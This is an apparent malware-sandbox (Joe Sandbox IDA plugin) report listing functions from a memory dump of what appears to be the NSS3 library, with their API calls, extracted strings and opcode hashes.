Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 4da4e1962ec6c9771280c036cf79c8a77ca89a37c5ef7580a603a6cff37052ca
Instruction ID: 9ae5a9f26183450d3539662b07d8251262ed5be0d4ea94139b751d74b54927d1
Opcode Fuzzy Hash: 4da4e1962ec6c9771280c036cf79c8a77ca89a37c5ef7580a603a6cff37052ca
Instruction Fuzzy Hash: 54313971A00625ABDB019F64CC447DA77B0FF49318F142137EA1DA7B60D730A924C7D9

Function 6C632E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C62E728,?,00000038,?,?,00000000), ref: 6C632E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C632E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C632E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C632E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C632E9E
PR_Unlock.NSS3(?), ref: 6C632EAB
PR_Unlock.NSS3(?), ref: 6C632F0D

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: e48c6c869116875f4cb608f6e1ec2d35e3b97dc16078f316a9109168324ad8ff
Instruction ID: 6958e391669d79611fa0f79263f1e6d5273a342a69a7f26178365479e5549ad1
Opcode Fuzzy Hash: e48c6c869116875f4cb608f6e1ec2d35e3b97dc16078f316a9109168324ad8ff
Instruction Fuzzy Hash: 8531F675A00215ABEB006F28DC458B6B775FF46359B049174EC0CC7A12EB31DD64CBE5

Function 6C664470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C627296,00000000), ref: 6C664487
EnterCriticalSection.KERNEL32(?,?,?,6C627296,00000000), ref: 6C6644A0
PR_Unlock.NSS3(?,?,?,?,6C627296,00000000), ref: 6C6644BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6C627296,00000000), ref: 6C6644DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6C627296,00000000), ref: 6C664530
free.MOZGLUE(?,?,?,?,?,6C627296,00000000), ref: 6C66453C
PORT_FreeArena_Util.NSS3 ref: 6C66454F

Part of subcall function 6C64CAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C62B1EE,D958E836,?,6C6651C5), ref: 6C64CAFA
Part of subcall function 6C64CAA0: PR_UnloadLibrary.NSS3(?,6C6651C5), ref: 6C64CB09

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: 1d9fb424548c415f127360ce12f54f871e639f909635eb40bce2e57e3ffa18f3
Instruction ID: a36738d657f627fabfba49bcecc837af273f23b1f155c3b3c387d51f99ed20ea
Opcode Fuzzy Hash: 1d9fb424548c415f127360ce12f54f871e639f909635eb40bce2e57e3ffa18f3
Instruction Fuzzy Hash: F6315E74A046119FDB00EF3AC094569BBF0FF05319F014669D89997F00E771E894CBDA

Function 6C67CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C67CD93,?), ref: 6C67CEEE

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C67CD93,?), ref: 6C67CEFC

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C67CD93,?), ref: 6C67CF0B

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C67CD93,?), ref: 6C67CF1D

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C67CD93,?,?,?,?,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF78

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: aeb18fa033511198c10abd01d6aa6544c3600fe289edd55fcdc82cddb9e00f0b
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: EC11EBB1E0020467E720AE767C51BAB75EC9F4564DF00493AEC0AD7741FB64D90886BA

Function 6C628C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C628C1B
EnterCriticalSection.KERNEL32 ref: 6C628C34
PL_ArenaAllocate.NSS3 ref: 6C628C65
PR_Unlock.NSS3 ref: 6C628C9C
PR_Unlock.NSS3 ref: 6C628CB6

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

Strings

KRAM, xrefs: 6C628C8F

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: c5937a40ce0bac39b8484d356bf00d123de4bd2a1e342b00beb9edeaaff5e23b
Instruction ID: bc74ee15c490f661aa8999001245b3bbfcacfccd821ca6d170691097ce5c1c23
Opcode Fuzzy Hash: c5937a40ce0bac39b8484d356bf00d123de4bd2a1e342b00beb9edeaaff5e23b
Instruction Fuzzy Hash: 632160B26056118FD700AF79C884569FBF4FF49308F05896ED8888B751DB39D885CF9A

Function 6C638E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C652E62,?,?,?,?,?,?,?,00000000,?,?,?,6C624F1C), ref: 6C638EA2

Part of subcall function 6C65F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C65F854
Part of subcall function 6C65F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C65F868
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C65F882
Part of subcall function 6C65F820: free.MOZGLUE(04C483FF,?,?), ref: 6C65F889
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C65F8A4
Part of subcall function 6C65F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C65F8AB
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C65F8C9
Part of subcall function 6C65F820: free.MOZGLUE(280F10EC,?,?), ref: 6C65F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C652E62,?,?,?,?,?,?,?,00000000,?,?,?,6C624F1C), ref: 6C638EC3
TlsGetValue.KERNEL32(?,?,?,6C652E62,?,?,?,?,?,?,?,00000000,?,?,?,6C624F1C), ref: 6C638EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C652E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C638EF1
PR_Unlock.NSS3 ref: 6C638F20

Strings

b.el, xrefs: 6C638E96, 6C638F25

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.el
API String ID: 1978757487-3728095727
Opcode ID: 3aa57c83f52abcfed692b01d297a6a0157a4e599c32d74a8bbbd09ef129d98d6
Instruction ID: 3c6757b9917be094f3bfc5009d321065d213e57d26bfd272870fc59609c59c67
Opcode Fuzzy Hash: 3aa57c83f52abcfed692b01d297a6a0157a4e599c32d74a8bbbd09ef129d98d6
Instruction Fuzzy Hash: B4216B709097259BCB00AF29C5841A9BBF0FF49358F41656FE898DBB50DB30E854CBDA

Function 6C668970 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6C6161C4,?,6C615639,00000000), ref: 6C668991
TlsGetValue.KERNEL32(?,?,?,?,?,6C615639,00000000), ref: 6C6689AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C615639,00000000), ref: 6C6689C6
PR_WaitCondVar.NSS3 ref: 6C6689F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C615639,00000000), ref: 6C668A0C

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Strings

9Val, xrefs: 6C668986

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID: 9Val
API String ID: 2759447159-4239674784
Opcode ID: c90fc01eff247de510a39ccef4c524951ea89569fc0ca0b1d9cb3f0eb2807e74
Instruction ID: f3aca52fa4a81636d767b281fab84681616358c1d262744f61d1094657c33cc5
Opcode Fuzzy Hash: c90fc01eff247de510a39ccef4c524951ea89569fc0ca0b1d9cb3f0eb2807e74
Instruction Fuzzy Hash: 82215AB0A047158BCB00AF79C5841AABBB4FF0B318F11466ADC9997A15EB30D894CB97

Function 6C722C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C722CA0
PR_ExitMonitor.NSS3 ref: 6C722CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C722CD1
strdup.MOZGLUE(?), ref: 6C722CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C722D27

Strings

Loaded library %s (static lib), xrefs: 6C722D22

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: b3eee13bb6f32b1fece0a3f20ac10b3fecaead4acbe03e3ffdd1e79666855b39
Instruction ID: d76ceee4c4fb24b6e0fdb5cf8429b95d0541be22fa4478f33e58b35a0c0616dc
Opcode Fuzzy Hash: b3eee13bb6f32b1fece0a3f20ac10b3fecaead4acbe03e3ffdd1e79666855b39
Instruction Fuzzy Hash: 2F1131B07102149FEB018F15DA29A6637B4EB4632DF14803DE809C7B41EB35E848CBB1

Function 6C6168E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6168FB
EnterCriticalSection.KERNEL32 ref: 6C616913
PORT_FreeArena_Util.NSS3 ref: 6C61693E
PR_Unlock.NSS3 ref: 6C616946
DeleteCriticalSection.KERNEL32 ref: 6C616951
free.MOZGLUE ref: 6C61695D
PR_Unlock.NSS3 ref: 6C616968

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 14ff29411dc3593c848e820bffb1ecc25726756fd78ac56c631a040b69b9f9d4
Instruction ID: 1dd39866454a45d5d64c334d3949ba31442d394743e31030dffeceafa56d4699
Opcode Fuzzy Hash: 14ff29411dc3593c848e820bffb1ecc25726756fd78ac56c631a040b69b9f9d4
Instruction Fuzzy Hash: 99114CB56087459FDB00AF79C48856DBBF4FF06349F014979D898DBA01EB30D498CB96

Function 6C670FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B
TlsGetValue.KERNEL32(00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671044
free.MOZGLUE(00000000,?,00000800,6C60EF74,00000000), ref: 6C671064

Strings

security, xrefs: 6C671025

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 10b3a1b0a82a33d398b77841aee276dcae814b86ff7c1e4b4b5529e728441f5a
Instruction ID: 8a401f982004269fe6ab42ceba90f4bec79663b2a4d841aee8a2ccac9608e304
Opcode Fuzzy Hash: 10b3a1b0a82a33d398b77841aee276dcae814b86ff7c1e4b4b5529e728441f5a
Instruction Fuzzy Hash: 4C0148306402509BEB302F3D8C0CA963A78BF43749F01092BE80CA6A52EF60C144DBF9

Function 6C6B49C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000678,?,?,6C6A5F34,00000A20), ref: 6C6B49EC

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

SECITEM_ZfreeItem_Util.NSS3(?,00000000,6C6A5F34,00000A20,?,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6B49F9
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6C6A5F34,00000A20,?,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6B4A06
free.MOZGLUE(?,?,?,?,?,6C6A5F34,00000A20), ref: 6C6B4A16
free.MOZGLUE(?,?,?,?,?,6C6A5F34,00000A20), ref: 6C6B4A1C

Strings

4_jl , xrefs: 6C6B49C6, 6C6B4A21

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID: 4_jl
API String ID: 2193358613-4100805789
Opcode ID: 95f72517048bb63ebeac885f455fbb29e27ba27c48b6b3a97a68c520472f66ee
Instruction ID: 79a3c60379b2ce5e17ae207793f1a0d39ce90d543aba4541eebb50cab91fdc3b
Opcode Fuzzy Hash: 95f72517048bb63ebeac885f455fbb29e27ba27c48b6b3a97a68c520472f66ee
Instruction Fuzzy Hash: 59015E769001049FCB00DF6ADCC4C967BBCEF8A34930484A5E909DB705E731E914CBA6

Function 6C6A0570 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C68C89B,FFFFFE80,?,6C68C89B), ref: 6C6A058B
free.MOZGLUE(?,?,6C68C89B), ref: 6C6A0592
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C68C89B), ref: 6C6A05AE
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C68C89B), ref: 6C6A05C2
DeleteCriticalSection.KERNEL32(6C68C89B,?,6C68C89B), ref: 6C6A05D8
free.MOZGLUE(?,?,6C68C89B), ref: 6C6A05DF
PR_SetError.NSS3(FFFFE09A,00000000,?,6C68C89B), ref: 6C6A05FB

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Error$CriticalDeleteSectionfree$Value
String ID:
API String ID: 1757055810-0
Opcode ID: 2d4f8b527eaa1c732403e40dc457e280116f046e3553a5a30c1f12cb33db0ed8
Instruction ID: b273f3e10a44514df6db9e94b90f35b4f552b8d3649c6c3f99ba89d3dc9a40e5
Opcode Fuzzy Hash: 2d4f8b527eaa1c732403e40dc457e280116f046e3553a5a30c1f12cb33db0ed8
Instruction Fuzzy Hash: 66014C71B0A6A4ABEE11BFF49D0DB493B786B07309F100031F50762B40D770A51983AD

Function 6C72C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6C6A1AB6,00000000,?,?,6C6A07B9,?), ref: 6C72C9C6
free.MOZGLUE(?,?,6C6A07B9,?), ref: 6C72C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6C72C9E5
free.MOZGLUE(?), ref: 6C72C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6C72C9F8
free.MOZGLUE(?), ref: 6C72C9FF
free.MOZGLUE(00000000), ref: 6C72CA0B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
